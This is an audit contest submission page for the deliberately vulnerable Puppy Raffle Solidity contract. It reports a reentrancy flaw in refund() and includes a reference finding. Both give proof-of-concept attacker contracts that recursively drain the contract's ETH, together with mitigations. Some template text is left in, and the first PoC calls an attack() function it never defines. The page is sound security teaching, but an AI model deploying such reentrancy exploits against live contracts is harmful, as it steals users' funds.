Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

H-01 — High — Reentrancy in `refund()` allows a single player to drain the whole contract

Root + Impact

Description

  • Context / code.** `src/PuppyRaffle.sol:96-105`:


  • `

  • ```


  • **Description.** `Address.sendValue()` (OZ 3.4) performs a low-level `call{}` forwarding

  • **all** remaining gas. The sender's state (`players[playerIndex]`) is only cleared *after*

  • the transfer. A malicious player contract re-enters `refund()` from its `receive()` while its

  • slot still contains its own address — the two `require`s pass again — and recursively

  • withdraws one `entranceFee` per re-entry until `address(this).balance < entranceFee`.Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

// Root cause in the codebase with @> marks to highlight the relevant section
* function refund(uint256 playerIndex) public {
* address playerAddress = players\[playerIndex];
* require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
* require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
* <br />
* payable(msg.sender).sendValue(entranceFee); // <-- external call (all gas)
* <br />
* players\[playerIndex] = address(0); // <-- state effect happens AFTER the call
* emit RaffleRefunded(playerAddress);
* }

Risk

Likelihood:


Impact:

  • **Impact.** 100% loss of every player's funds in the contract. Permanent, non-recoverable.

  • Classic Checks-Effects-Interactions violation. CWE-841

Proof of Concept

contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 internal index;
uint256 public recursionCount;
receive() external payable {
recursionCount++;
if (address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(index); // re-enter while slot is still ours
}
}
function enter() external payable {
address[] memory p = new address[](1); p[0] = address(this);
raffle.enterRaffle{value: msg.value}(p);
index = raffle.getActivePlayerIndex(address(this));
}
}
function testExploit_Reentrancy_RefundDrainsContract() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
address[] memory honest = new address[](3);
honest[0] = playerOne; honest[1] = playerTwo; honest[2] = playerThree;
puppyRaffle.enterRaffle{value: 3 * entranceFee}(honest); // 3 ETH
attacker.enter{value: entranceFee}(); // 4 ETH total
attacker.attack(); // fire refund(index)
assertEq(address(puppyRaffle).balance, 0); // drained
assertEq(attacker.recursionCount(), 4);

Recommended Mitigation

Apply Checks-Effects-Interactions (write `players[playerIndex] = address(0)`

*before* the transfer) **and** add a reentrancy guard (`ReentrancyGuard`) to `refund`,

`selectWinner` and `withdrawFees`.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 24 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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